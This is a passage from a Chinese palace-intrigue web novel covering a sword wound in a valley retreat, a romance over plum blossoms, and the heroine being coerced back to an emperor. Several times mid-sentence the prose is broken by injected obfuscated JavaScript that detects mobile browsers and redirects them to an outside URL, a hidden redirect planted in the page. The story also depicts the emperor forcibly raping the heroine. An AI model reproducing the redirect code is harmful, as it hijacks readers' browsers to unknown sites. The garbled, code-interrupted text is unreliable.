江向晚已经被折磨的心力交瘁,咬了咬牙,抓起身边的青霜剑砍向小乖的蛇尾。 这一剑,深可见骨,殷红的鲜血立即喷涌而出,小乖烦躁的翻动着身子,将月无双狠狠地甩了出去。 月无双痛的龇牙咧嘴,费力爬了起来,用手揉着被摔疼的地方。 “无双……”安文夕忙搀住了她。 “夕姐姐,我没事,你离远一些,今天的小乖疯了!” 月无双抬眸看向小乖**向晚砍伤的蛇尾,微微蹙了眉。 小乖痛苦的在地上翻动着,嘴里吐着的鲜红的信子仿佛淬了毒,硕大的脑袋朝江向晚俯冲下来。 江向晚右手一翻,手中的青霜剑寒光一现,她仿佛使出了全身的力气要将小乖的脑袋整个削掉。 “不好!”月无双刚想发力,刚才受伤的双腿一软,身子蓦地往前一倾。 安文夕敛眸,迅速掠至江向晚身侧,准备接下江向晚砍下来的青霜剑,谁知小乖的蛇尾一卷,使得江向晚剑锋一偏,直直刺向安文夕胸口处。 “公主!”欢凉衣袂一摆,在众人还未反应之际,一把推开了安文夕。 “欢凉——”安文夕惊呼道,这个傻丫头难道不知道仅凭如今的江向晚很难伤到她么? “噗呲——”耳边传来一声清晰的刀剑入体的声音,安文夕蓦然回头,眼前的血红染红了她的眼睛。 她眸光一沉,抬手一掌掀开江向晚,然后抱住倒下来的欢凉。 索性江向晚手劲不大,并未伤及心脉,安文夕立即封住了欢凉的穴道。 一直在一旁观望的袭匀眸光一寒,立即一把抱起欢凉,直奔药房而去。 安文夕回头对楚君昱道:“今天没办法陪你采梅花了。”说完急忙跟了上去。 这时,月清绝这才姗姗赶来,手里抱着几根两只粗的人参,看见浑身是血的欢凉,脸色骤变,再看了眼地上沾血的青霜剑,心中已然明了。他立即用手中的人参将小乖诱惑走,月无双冷冷瞥了眼江向晚,“你还真是无时无刻不想着置人于死地!” 江向晚被刚才安文夕那一掌卸去了所有的力气,此时正虚弱的靠在雪嫣肩头,额头上出了一层细汗。 “你不要无赖我家小姐,我家小姐又不是故意的。” 月无双嘲讽的看了眼地上的主仆二人,的确从表面上看,江向晚不是故意刺向夕姐姐的,但是江向晚的心思可骗不了她! 月无双看了眼江向晚惨白的脸色,冷哼一声,瘸着腿跟了上去。 “小姐,小姐你坚持一下,雪嫣这就带你回去。”可惜雪嫣的力气太小,根本不足以搀动江向晚,她只得求救般的看向楚君昱。 此时这里只剩下了楚君昱和江向晚主仆二人,楚君昱仿佛根本就没有看到主仆二人一般,径直从他们身旁走了过去。 “公……公子,你可否将我家小姐送回房间?” 楚君昱闻言脚步一滞,若果他刚才并没有看到江向晚故意掷出细不可见的发针射向小乖的蛇尾使得她的剑锋偏向安文夕的话,他此时还会动了恻隐之心,将她送回房间。 可惜不巧的是,在他刚才的方向,将那一幕看的清清楚楚。 胆敢伤害他楚君昱喜欢的女人,他绝不会放过,凌厉的生气在他的眼底一闪而过,楚君昱抬脚走开,身后的紫衣披风迎风而飘。 雪嫣不可置信的看着紫衣袂袂的楚君昱从她面前走远,脸色顿时涨的绛红一片。 过了不久,去而复返的月清绝无奈的将江向晚抱回房间,然后匆匆赶去了药房。 风飘雪利索的给欢凉处理了伤口,然后交代了几句,便回了主院,不禁叹道,自从他们来了这枫月谷,好似这枫月谷就没太平过,实在是太影响她和夫君的二人世界了! 安文夕握着欢凉的手,不禁斥责道:“你个傻丫头干嘛往剑锋下面跑,下次可不许这样了。” “欢凉的责任就是护公主安全,更何况公主有伤在身,欢凉断不敢再让公主受伤。” “真是关心则乱,以小师妹的能力,就是十个江向晚,也能给拍**!”袭匀撇嘴道。 “你闭嘴,真不知道公主危险时你在哪里!”欢凉由于愤怒牵动了伤口,痛得一阵皱眉。 “好好好,我不说话,你别生气。”袭匀径自拿了药道,“我去给你煎药行了吧。” “小丫头,你怎么样?”月清绝脸上带着关切,踏门而入道。 “还好,死不了。”欢凉淡淡道。 “呸呸呸,什么死不死的,你这小丫头也不嫌晦气!”月清绝见欢凉没有什么大碍也就稍稍放了心。 待月无双给小乖处理了伤口之后赶来药房的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349678|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,欢凉刚刚用了药。月无双看向欢凉的眼神不免多了分愧疚。 安文夕安慰她道:“这是江向晚欠下的,早晚有一天会还的。” 她自觉向来是个睚眦必报的人,就连当初在夏宫为奴,在凤青轩为妓,体内没有一分内力之时,她都将江向晴给予她的羞辱、责罚,一一奉还,更何况现在? “她如今身在枫月谷,我就应当护着她的周全,只要出了这枫月谷要杀要剐,本公子绝不过问。”月清绝道,毕竟他答应了北宫喆要将江向晚的身子调养好,自然不会让她在枫月谷翘了辫子。 “我安文夕向来不是趁人之危的人!” 由于欢凉受伤,这几日安文夕一直待在厢房的院子里,倒忘记了去找楚君昱的事情了。安文夕看见院子里紫衣翩翩的楚君昱,唇边绽开梨涡,“你怎么来了?” “欢凉的伤如何了?” “不过是皮肉伤。” 楚君昱略略点头,“胭脂,陪我去采梅花吧,再过两日,我就要回西楚了。” 安文夕一滞,只听得楚君昱又道:“年岁之前我自然要赶到西楚盛京的。” “你等我一下。”安文夕说完,转身回房,嘱咐袭匀好好照顾欢凉。 “走吧。”楚君昱走过去很自然的牵了安文夕的手,好似经过了许多遍的练习而有的熟练。 安文夕被楚君昱握在手心的手微微一颤,他的手宽大而温暖,让人有一种安心的感觉。 楚君昱没有给她拒绝的机会,将她的手牢牢地握在手心中,感觉到她甚至紧张的出了一层细汗,手心濡湿了一片。 “胭脂,我们去那里如何?”楚君昱指了下前方的梅林。 看着朵朵开的灼艳的红梅,安文夕有些不忍将它们摘下枝头,只听得耳畔有道清朗的声音道:“花开一瞬,自当惜取眼前景。” 安文夕摘花的手一顿,他的意思是让她怜取眼前人么? “若是酿成梅花酒,也算是芳香永驻了。” 安文夕将枝头的梅花一朵朵放进竹篮里,她看着半篮子花瓣心想也差不多了,刚刚回头,眼前一阵落英缤纷,绯红的花瓣飘飘洒洒,一场极美的花雨震撼了她的视觉。 她不禁喃喃道:“好美。” 楚君昱慢慢朝她走来,邪邪勾唇,“能博美人一笑,足以!” 眼前的这个男人竟然为了博她一笑花费了这样的心思,一抹感动再次浮现在安文夕的心头。 远处的月清绝看着这一幕,心里为北宫喆捏了一把汗,看看人家楚君昱多浪漫,要是他是个女人也同样会选择温柔的楚君昱而不是残暴的北宫喆! 但是,浪费归浪漫,此时月清绝比较心疼那一地的落花,真是不是自家的,就不知道珍惜啊! 楚君昱握着安文夕的手,看着她的眼睛道:“胭脂,给我一个机会好么?” “我……” “胭脂,你不要逃避,其实你已经慢慢开始接受我了不是么,为了你我可以登基为皇,举兵大夏,若你不愿,我们可以一生一世一双人共看天下。” 第103章 他的胭脂 第一百零三章他的胭脂 楚君昱凤眼上扬,邪魅中带了抹柔情,眼神深邃而温柔,仿佛天下间唯剩了她一个人。 安文夕咬着唇盯着楚君昱的眼睛,看着他黑瞳中倒映着的自己,紧张而有些不知所措。 楚君昱嘴角微勾,握着安文夕的手一翻,手中的碧玉手镯已经稳稳地戴在了安文夕手上。 “胭脂,这次不许摘下。” 凉沁沁的触感令安文夕一惊,她明白那是什么。 楚君昱不待她开口道:“胭脂,你还欠我一个答案。” 安文夕微微一滞,猛然想起,那日他说让她和他一起回西楚,他帮她复国,她说第二日要给他一个答案,后来欢凉和袭匀回来,再接着欢凉受伤,这件事已经渐渐被她忘在了脑后。 她有些不好意思的看了眼楚君昱,她失约了。 “胭脂,我想我知道你的答案了。”楚君昱微微一笑,她的眉眼之中,分明已经不再排斥他了。 “楚君昱。”她没有唤他玉公子,而是楚君昱,他当真要为了她而与大夏为敌么,这对他夺嫡称帝,必然十分不利! 安文夕至今想不明白楚君昱怎么会喜欢上她。她美,却不是顶美。论才情,想必也及不上他的未婚妻月紫琼,那个曾因一首飞花五言诗而闻名九州的女子。 “胭脂,我喜欢你仅仅因为你就是胭脂罢了,是属于我一个人的胭脂,你不需要去考虑其他,只需相信我。”楚君昱一字一顿道,灼灼的凤眸令人一眼沉迷。 那一日她红衣如魅,倾城一舞,摄魂夺魄,自此再也难忘。 情不知所起,一往而深。 是属于他一个人的胭脂,这么霸道却温柔的情话,染红了安文夕的脸颊。前一世她惨死而终,这一世在情蔻初开的年华里遇到了北宫喆,动了心,付了情,如今得到的却是彼此相杀。 安文夕看着面前的楚君昱,睫毛轻颤,她该如何选择? 楚君昱看着近在咫尺的红唇,喉结一动,作势吻了下去。 电石火花之间,唇瓣上传来一阵酥麻,看着眼前楚君昱放大的俊脸,安文夕瞬间明白过来,还未来得及推开他,心口处传来一阵撕心裂肺的疼痛,这是相思蛊在提醒着她,她此时在背叛那个人么? 安文夕趔趄了两步,扶住了身侧的梅树,捂着心口浅浅挽眉。 她轻咬贝齿,北宫喆他想用相思蛊困住她么? 楚君昱发现了安文夕的异样,关切道:“胭脂,你怎么了?”说着要上前扶她。 “别过来,让我待一会,一会就好。”安文夕紧紧的抠着胸口,现在楚君昱的靠近,无疑只会增加她的疼痛。 楚君昱看着安文夕痛苦的样子,眸光微敛,黑瞳骤缩,似乎想到了什么,“胭脂,北宫喆是不是给你种了相思蛊?” 安文夕蓦然抬眸,然后点了点头。 “卑鄙!”楚君昱怒道。 即便是有这相思蛊,他也不能将胭脂锁在他的身边! 楚君昱看着挽着眉头的安文夕,想上前将她拥入怀中,为她分解疼痛,可是他越是靠近,她现在越是痛苦,他紧紧握着拳,一时踌躇不前。 半晌,待安文夕心口的剧痛渐消,楚君昱捡起地上的竹篮对安文夕道:“胭脂,走吧。” 夏宫,琼华殿。 北宫喆正批阅着奏折,突然心口处一阵抽搐的疼,握着朱笔的手一顿,笔尖立即在宣纸上晕染出朱红的痕迹来,北宫喆霍然抬眸,黑瞳深深,夹带着一丝微不可见的怒意。 “左言!” “皇上。” “你去一趟枫月谷。” 左言一愣,不是刚从枫月谷回来么,难道皇上让他去将江小姐接回来? “你给朕将那个女人带回来!” 那个女人?看着皇上眉宇间隐忍的怒气,自然是瑾淑妃无疑了。 皇上不是说枫月谷相对安全才将瑾淑妃留在枫月谷的么,为何现在要接回来,真是圣心难测,左言不敢多言,垂头应是。 “慢着。”北宫喆叫住了左言道。 北宫喆黑瞳骤缩,对左言交代几句,然后传来张海道:“宣风将军和右相。” 风明和易寒皆叩首行礼道:“微臣参见皇上。” “免礼。”北宫喆随手拿起龙案上的两本奏折扔给风明易寒二人。 易寒是楚君昱早些年就埋在北襄的暗线,北宫喆察觉时,以为是北襄六王爷埋在他身边的探子,他一直不闻不问,并暗自换上了自己的人。 由于上次楚君昱为了将安文夕带离夏宫,便使得这条暗线彻底暴露,北宫喆趁机将西楚埋在夏宫中的暗线彻底铲除。 风明和易寒二人看了眼奏折上的内容,脸色丨微微一变。 易寒勾唇道:“据此看来,太后娘娘已经坐不住了。” “哼,她早就坐不住了。”北宫喆冷嗤,他刚刚拿下北襄,继而传来她有孕的消息,小产之后,又和漏网之鱼六王爷慕容清勾结在了一起。如今,慕容清拿捏不住了,就将视线放在了江佑城身上了。 “接下来皇上打算怎么办?”风明开口道。 “等,等着他们逼宫**!” “皇上为何一定会笃定他们会逼宫呢?” “慕容清野心勃勃,**是迟早的事情,既然他现在没有**的理由,那朕就给他一个理由!”北宫喆神情清绝桀骜,一副君临天下之态。 “右相他……”易寒犹豫道。 “有话直说。” “启禀皇上,微臣以为右相权利熏心,如今态度摇摆,时间长了,难保不会倒向太后。” 风明接口道:“朝堂之中,有三分之一是皇上提拔的新秀,三分之一是太后娘娘的心腹,剩下的是安景晟在朝中的眼线。如今,太后娘娘已经开始向右相施压,想必右相大人不久就会做出决断。” “爱卿所言极是,江佑城老奸巨猾,他之所以拥护朕,是笃定了朕会立晚儿为后,如今朕迟迟没有动静,那老匹夫着急了!” 这涉及了皇上的私事,风明和易寒识趣的打住,绕开了话题。 “皇上,据暗探来报,六王爷有和凤公子结盟的意图,不过凤公子拒绝了。”风明沉声道。 易寒补充道:“凤公子早年成名,据说和安景晟往来过密,有人说他是安国君的私生子。” 凤公子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“皇上素来没有吃宵夜的习惯,还是劳烦彭婕妤拿回去吧。” “皇上让奴才转告彭婕妤,若是彭婕妤觉得素芳阁离琼华殿太近才让彭婕妤每日都来送宵夜,皇上说清幽宫挺适合彭婕妤。” 清幽宫…… 彭安容闻言浑身一震,难道皇上是想让她…… 她顿时眼圈一红,拼命的咬着下唇,袖子中的手狠狠的绞着丝帕。 她只是想关心他罢了,这有错么,更令她难以启齿的是,她入宫已经三月有余,皇上却还没有碰过她,皇上统共就来素芳阁几次,每次都是她睡在里间,他睡在外间。甚至,她都没有和皇上独处过。 “多谢张公公提醒,本宫知晓了。”彭安容来时的嚣张气焰敛尽,泛着水光的眼眶有些狼狈。 张海看着彭安容萧寂的背影摇了摇头,不管在家里再怎么得宠,既然来了这宫里,就得靠着皇上的恩宠过日子,若是认不清自己的道路,耍些小姐脾气,只会令皇上越来越厌烦。 第104章 有你真好 第一百零四章有你真好 枫月谷入口处停着一辆布置简洁的青蓬马车,夜影横坐在车辕上。 欢凉为安文夕系了披风,眼圈有些发红,不舍得看着安文夕道:“公主,欢凉想和你一起去西楚。” “你现在伤还没好,先待在枫月谷养身体。” “可是,欢凉舍不得你。”她长这么大这还是她第一次要和公主分别。 “待你伤好了,再来盛京找我也不迟。”安文夕接过欢凉手中递来的手炉。 “欢凉知道,公主,玉公子是个值得托付的人,欢凉希望以后有人对公主好,保护公主。”比起报仇、复国,她更希望公主可以过得幸福。 “袭匀,你好好照顾欢凉。”安文夕嘱咐道。 “你就放心吧小师妹,师兄一定会将她养的白白胖胖的,好了好了,都别不舍了,跟生离死别似的。” “闭上你的乌鸦嘴。” “喂,你这臭丫头就知道说师兄,不分尊卑,该打!” 楚君昱看着朝他走来的安文夕,淡笑道:“走吧。”然后揽住她的腰,一把将她带上马车。 青墨色的帷幔缓缓垂下,掩去了众人的视线,马车轻摇,哒哒的马蹄声渐起。 月无痕揽着风飘雪,看着马车渐渐消失在了视线中,微叹了一句,这安文夕跟楚君昱去了西楚,不知是对还是错。 上了马车,安文夕扫了眼马车内的摆设,一方红木软榻,一张紫檀小几,青瓷盏正袅袅的升腾着茶烟,旁边的炉子上烧着的热水正呲呲的冒着热气。都是些再寻常不过的东西,却让人觉得十分美好惬意,就如楚君昱一般,邪魅润泽,每每和他在一起时,都有一种总说不出的舒服来。 楚君昱握着她的手道:“胭脂,有你真好。” 安文夕有些不自然的松开了他的手,眼角瞥向四周,发现马车一角的两个酒坛,惊道:“你那日将摘到的梅花酿了酒?” 楚君昱点点头,“三个月后,胭脂就可以尝尝我亲手酿的梅花酒了。” “好啊,我到时候看看你的手艺比起箐姑姑如何?” “箐姑姑?” “箐姑姑是我的奶娘,厨艺精湛,常常令父皇的御厨自叹不如,尤其酿了一手好酒。记得小时候,母后最爱喝箐姑姑酿的果酒,我也偷偷地沾一点……” 楚君昱嘴角微勾,静静地看着眼前的女子眉眼弯弯,讲述着以前的旧事,一种温暖的感觉油然而生。 他从没有听到她主动的讲述过去的事情,国仇家恨让她对以前的事情绝口不提。他也从来不问,怕触动了她的伤心事,今日她能主动说出来已经不易,看来她的心境已经释然很多,开始从过去的阴霾中走出来了。 安文夕想到月清绝手中的千年龙魄,话锋一转,“如今千年龙魄和引魂丹都在枫月谷,你父皇的病该怎么办?” 她最终还是没有将千年龙魄带给他。 “月公子给了我不少名贵药材,姑且还可以维持一段时间,我父皇大限将至,天命不可逆。” “虽然父皇自幼待我不亲和,但是他始终是我父皇。”楚君昱眸光深邃,“自小他就冷眼旁观别的皇子对我的欺辱,不知他是有意锻炼栽培我,还是因为当年我母妃的事情而讨厌我,呵……如今我也不想去猜。” 安文夕默然,皇家的事情,又有多少是可以说得清的。 “胭脂,不如我们来下棋吧。”楚君昱看着安文夕脸色丨微变,立即转了话头。 “好。” 楚君昱指尖掠动,不出片刻,已经在棋盘上摆出那日的剩局来。 安文夕惊道:“你竟然还记得?” “这是自然,该你了。”楚君昱翩然落下黑子。 这一局足足下了一个时辰,茶水都已经添了三次。 楚君昱勾唇道:“胭脂,你输了,想赢你一局真是不容易。” “驭——”夜影勒住了缰绳,慢慢放缓了速度,他撩起车帘对楚君昱道:“殿下,前方有人拦住了去路,依稀可以认出是夏皇身边的羽卫。” 夏皇? 安文夕闻言,手里捧着的手炉蓦地一松,他追来了! 楚君昱握了握她的手道:“你安心待在里边,我去外面瞧瞧。” 渐渐靠近前方的青蓬马车,左言勒住缰绳,停了下来。看着楚君昱掀开车帘,他利索的翻身下马,行至车前,突然单膝下跪道:“属下左言恭迎瑾淑妃。” 马车内的安文夕蓦地一惊,来人是左言? 楚君昱讥讽的笑道:“瑾淑妃早就死在了夏宫,这个世上已经没有瑾淑妃了!” 左言起身道:“三殿下,敢问车内何人?” “本宫车内何人,似乎没有必要向左大人报告吧。”楚君昱居高临下瞧着左言。 “三殿下如此遮掩,难道马车里藏了什么人不成?” “放肆!”夜影一把抽出腰间的剑指着左言。 左言不以为意的笑了笑,从怀中取出两样东西来,“劳烦三殿下将这两样东西交给车内之人。” 楚君昱淡淡扫了眼左言手里的东西,丝毫没有接的意思。 安文夕将车外的对话听得清清楚楚,左言来此,想必是北宫喆想将她带回去! 左言淡扫了眼手里的东西,对着马车道:“瑾淑妃,不知您是否认识这缀着璎珞的羊脂玉和紫玉玲珑簪。” 安文夕心中一惊,羊脂玉是箐姑姑的贴身之物,而紫玉玲珑簪则是她及笄之时赏给香茗的,那小丫头喜欢的不得了,一直佩戴着。她去枫月谷之前,只是将箐姑姑和香茗安排在了以前她在外面购置的一处别苑里,还没有来得及将她们接进凤青轩,难道北宫喆找到了她们?她心中越发不安起来,一把掀开车帘,对左言道:“给我!” 她慢慢握紧手里的东西,咬牙道:“北宫喆真是越来越让人恶心!” 他竟然三番五次拿箐姑姑和香茗来威胁她! “瑾淑妃先不要动怒,请听我说……” “左言,不要再叫我瑾淑妃,我不是!” “好,公主,皇上让我转告您一句,西楚三殿下此次回京是要和西楚世族月小姐完婚的,您确定要跟着去?” 完婚…… 安文夕听到这个字眼,紧紧抿了唇,好像这么多的天来,她一直都被人耍弄一般,再次想起他那日的承诺,只觉得好笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349680|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是,她却没有办法去斥责他。 她一直都知道他有未婚妻,更何况,她曾是北宫喆的瑾淑妃,已非完璧之身。她知道他不介意,可是她介意…… 静下心来,慢慢觉得释然,她和楚君昱之间,一直都是他在主动,他对她的好她看在眼里,她从来都没有去回应什么。 楚君昱立即慌了神,想要去拉她,却被她匆匆避开。 “胭脂,你听我说……” 安文夕嘴角攒出了一抹笑来,“玉公子,谢谢你陪伴了我这么长的时间。” 她不怪他,她没有理由去怪他。 看着安文夕越加淡然的神态,楚君昱心里越加的凄苦,这么长的时间他难道一直不曾在她的心中留下一星半点的痕迹么? 因为不在乎,所以不伤情…… 楚君昱看着她苦笑道:“胭脂,回西楚好么?”他觉得现在他的爱情已经低到了尘埃里。 安文夕咬了咬唇,最终摇了摇头,“玉公子,对不起……” “胭脂,我不要对不起!” “可是……” “我这就出动所有暗卫将箐姑姑和香茗带回西楚好么?” “殿下!”夜影痛心疾首道,殿下现在已经被这个妖女迷惑的失去自我了,难道他连一直筹谋的皇位也不要了么! “公主,我们走吧。”左言催促道。 “我要先见到她们!”安文夕冷冷道,“还有,我不要回夏宫!” “皇上已经吩咐,只要您肯回去,您提出的要求他都会满足!” “慢着,本宫倒要看看你如何带她回去!”楚君昱紧紧揽住安文夕的腰,将她禁锢在怀中。 左言剑眉一拧,腰间的长剑已然出鞘,“三殿下,若是你执意如此,休怪左言无礼了!” “那就看看你有没有这个能力了!”楚君昱脸上一向的温润被邪魅所代替,右手一翻,握紧了长剑,指向左言。 “都停下!”安文夕怒道。 “胭脂……” “楚君昱,你放我走吧,我不值得你如此。” 腰间的手不禁没松,反而更紧了,楚君昱眼底掠过,他好不容易才让她和他一同去西楚,怎么会放手? 安文夕用力掰着他的手,“不要逼我好么,我答应你,等我处理好了所有的事情就去西楚找你。” 楚君昱眼睑垂下,轻抿薄唇,圈着她腰肢的手蓦地一松,看向安文夕道:“胭脂,我等你一起喝梅花酒,不要让我失望。” “好,一言为定。”安文夕撑着车辕,跳下马车,对左言淡漠道:“走吧。” 左言大手一挥,后方缓缓驶出一辆马车来,左言抱拳道:“公主,请上车。”说着伸出手来要扶她。 安文夕淡淡扫了一眼道:“不必了,我自己可以。” 话音刚落,安文夕已经轻盈的跃上马车,她回头看了眼楚君昱,只听他道:“胭脂我等你。”安文夕拂着帘子的手微微一顿,然后缓缓放下车帘,走进马车内。 左言翻身上马,调转马头,大声道:“出发!” 夜影看着前方的马车远处,心中暗想,也许这对殿下来说是一件好事! 第105章 自甘** 第一百零五章自甘** 在马车上颠簸了十余日后,再次来到了承安,左言果然没有将安文夕带回夏宫,而是一路辗转来到一处十分僻静的山庄。 此处隐在山林深处,了无人烟,四季常青的树木葱荣一片。 马车行了很久才缓缓停下,左言为安文夕掀开车帘道:“公主,到了,请下车。” 安文夕伸出玉手撩开马车一侧的帘子,打量了眼四周,整个山庄黛瓦白墙,浑厚中透出一股婉约,枝杈遮掩之间依稀可以辨出青末山庄四个模糊的字来。 安文夕放下侧帘,抱了手炉从马车内探出头来,右手一撑,翩然落下马车。 “公主,这边请。”左言为安文夕引路道。 进了门,景致又有些不同,青砖门罩,石雕漏窗,木雕楹柱,宛然一副江南小院之景。 “左言,这青末山庄……” “回公主,这青末山庄是皇上两年前购置的别苑,原本是打算送给公主的……”说话这里,左言立即停了下来,然后看了眼安文夕脸上并无异色继续道,“公主,您注意脚下,从这里往前走,然后再第一个路口处左拐,最后直走就可以直达正房,左言就不陪您进去了。” “你去忙吧。”安文夕淡道,握紧了手里的羊脂玉佩和紫玉玲珑簪往前方走去。 偌大的房间内温暖如春,知道她要来,北宫喆早就吩咐人将房内烧得暖烘烘的。整个房间因为没有任何下人而显得有些空旷,北宫喆负手而立,黑衣的绛袍上绣着五爪金龙,日月星辰落在两肩上熠熠闪光,白色貂裘衬得他脸若冠玉。墨发一丝不苟被冕冠束至头顶,尽显尊贵桀骜。 他听到房门处传来一阵轻盈的脚步声,黑瞳刹那间抬起,视线紧紧锁住来人。 安文夕刚进入房间,身上蓦地涌出一阵暖意,而前方不远处温度骤降,令人如临冰窖,不禁打了个寒颤。 安文夕蓦然抬头,对上那双略带愤怒的幽瞳。 一时间,四目相接的刹那,安文夕蓦地勾了唇,这个男人果然在愤怒。 北宫喆黑瞳骤缩,锁着她嘴角的弧度,慢慢朝她走来。 “你真是卑鄙的令人恶心,除了这样的手段,你就没有别的了么?”安文夕摊开手心,咬牙一字一句道。 “只有这样,你才能回来不是么?”他了解她,箐姑姑和香茗是她最后的牵挂,若不是用她们绊住她,只怕她现在都已经身在西楚盛京了! “北宫喆,我问你,箐姑姑和香茗呢?” “箐姑姑和香茗在哪里你不是最清楚么?” 安文夕睫毛一颤,顿时明白了北宫喆话里的意思,他竟然骗她! 安文夕咬着下唇,握紧手里的东西砸向北宫喆。 北宫喆一把攫住安文夕的手,用力掼到怀中,眸中冷光乍现,“安文夕,几天不见,你长本事了?竟然敢打朕!” “如果可以——我还想杀了你!”安文夕用力的扳着北宫喆的手,可是却不起半点作用,她还是被北宫喆牢牢地禁锢在怀中。 “朕知道。” 北宫喆粗鲁的抬起她的下巴,双眸冷意森森,“你竟然要跟楚君昱去西楚,他都要大婚了,你还去做什么,难不成去做妾么,你真是**的可以!” 听着那刺耳的字眼,安文夕心中涌起一阵酸涩,转瞬被愤怒所代替,他费尽心机将她骗来,就是要这样侮辱她! “我就是自甘**,上赶着给人家做妾,关你屁事!”安文夕的脸色因为动怒而涨红,气急连粗话也一起冒了出来。 北宫喆薄唇微抿,下一瞬,低头咬住那粉红的唇瓣,飞快的临摹了一遍她的唇形,然后还意犹未尽的吸了一下。 “唔~”唇上突然传来的痛觉令安文夕一愣,紧接着一阵酥麻直袭大脑,还没来得及反抗,上方的人已经松开了她。 北宫喆如宣告**般,指尖擦过刚刚被他吸允的有些发红的唇边,对安文夕道:“你的人、你的心都是我的,他楚君昱凭什么?” “那你呢,你又凭什么?”安文夕偏头在肩头上飞快的擦去唇瓣上独属于他的气息。 北宫喆看着这一幕,眸光顿时敛尽,冷冷道:“就凭我是你夫君!” “你不是,不是!” “朕这就给你证明朕是不是!”北宫喆大掌探向安文夕的胸前,然后一把将她打横抱了起来,急急奔向内室。 北宫喆将安文夕扔到雕花大床上,大掌所经之处,安文夕身上的衣服被一件件剥离了出去。北宫喆褪去外袍,欺身而上。 安文夕双手死死抱着胸前的贴身里衣,怒视着上方的北宫喆,慢慢挪向床角。 北宫喆脸色如霜,将安文夕眼底的厌恶,愤怒收入眼底,这才是真正的她吧,以前在他身下不过是屈意承欢罢了。 “北宫喆,你给我滚开!”安文夕看着眼前兽欲渐起的男人,右手刚想摸向腰间才发现外衫早就被他扔下了床! 这一细小的动作没能逃过北宫喆的眼底,他探身将安文夕逼至角落,大手攒住她的双手,怒道:“你还想对朕动手?” 安文夕杏眸中写满了愤恨,抬脚朝他的关键部位踢去。 北宫喆双眸微眯,立即提身一错,安文夕重重的一脚踢在了北宫喆的大腿上。 这力道,足以让他**! 他想起那时她废了三十将士的阳根,黑瞳骤缩,打蛇打七寸,攻人致命点,这一点,她倒是清楚! 北宫喆顿时一把将安文夕拉到身下,用腿挤开她并拢的双腿,将她身上仅剩的衣物一把撕碎。 “不要!”身上一凉,安文夕忙护住胸前。 “北宫喆,你滚开,滚开!” NND,他对她用强! 北宫喆再次含丨住她的樱唇,将她的呜咽悉数吞进腹中,浅浅品尝着她的美好,感受着她的气息。 安文夕躲避不开,狠狠地咬住了他的唇瓣,一时间嘴里充斥着浓浓的血腥,而北宫喆却趁机撬开她的唇舌,吻得更深了。 安文夕不断地挥动着双手,而身上的男人怎么也推打不动。 北宫喆大掌一挥,床幔缓缓垂下,遮住了里面的春光旖旎。 北宫喆如一只饕餮巨兽一般,将安文夕折磨的没有半点力气。 云雨之后,北宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355988|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喆看向脸色绯红的安文夕,冷冷道:“一会有人会给你送来息子汤,像你这样水性杨花的女人不配拥有朕的子嗣!” “还有,你也别妄想逃跑,朕早已将这里封死,连只苍蝇也难以逃脱。” 安文夕淡淡扫了他一眼,疲倦的闭上了眼睛,然后沉沉睡去。 马车上颠簸了十几日,刚来又被北宫喆死命折腾,她现在半点力气也无。 不知睡了多久,安文夕迷迷糊糊睁开了眼睛,玉手探出床幔,放眼看去,透过窗户,看到窗外有些微弱的光。 “娘娘,您醒了。”一声清脆的声音在她耳边响起,循着声音看去,一位娇小的小女孩身穿粉色宫女离在她的床边。 安文夕刹那间睁开了清明的眼睛,她不是当时被欢凉顶替了身份的红绫么,直到现在欢凉都还顶着她的脸,她早已经将这张脸刻入了脑海。 她当即坐了起来,抱着锦被遮住身子,问道:“你怎么在这里?” “回娘娘,红绫一直都在这里呀。” “当时,不是有人将你带出了宫,并给了你银两让你回家么?” 红绫点点头,脸色浮现戚色,“红绫回到家中,才知道早在三年前,家乡沐阳大旱,颗粒无收,爹娘还有弟弟被饿**……”说到这里,红绫声音中带了哭音,然后接着道,“之后,左大人找到了我,就将我带到了这里。” 安文夕心中一惊,既然这样,那北宫喆岂不是早就知道欢凉的身份了,若是顺着欢凉查下去,那凤青轩的事他又知道多少?虽然欢凉和凤青轩的瓜葛不大,但是难保他不会朝这方面想。 安文夕扫了眼红绫,杏眸微眯,看来他早就将这一切计划好了! 她还真是傻,千里迢迢跑来,任他欺辱、**! 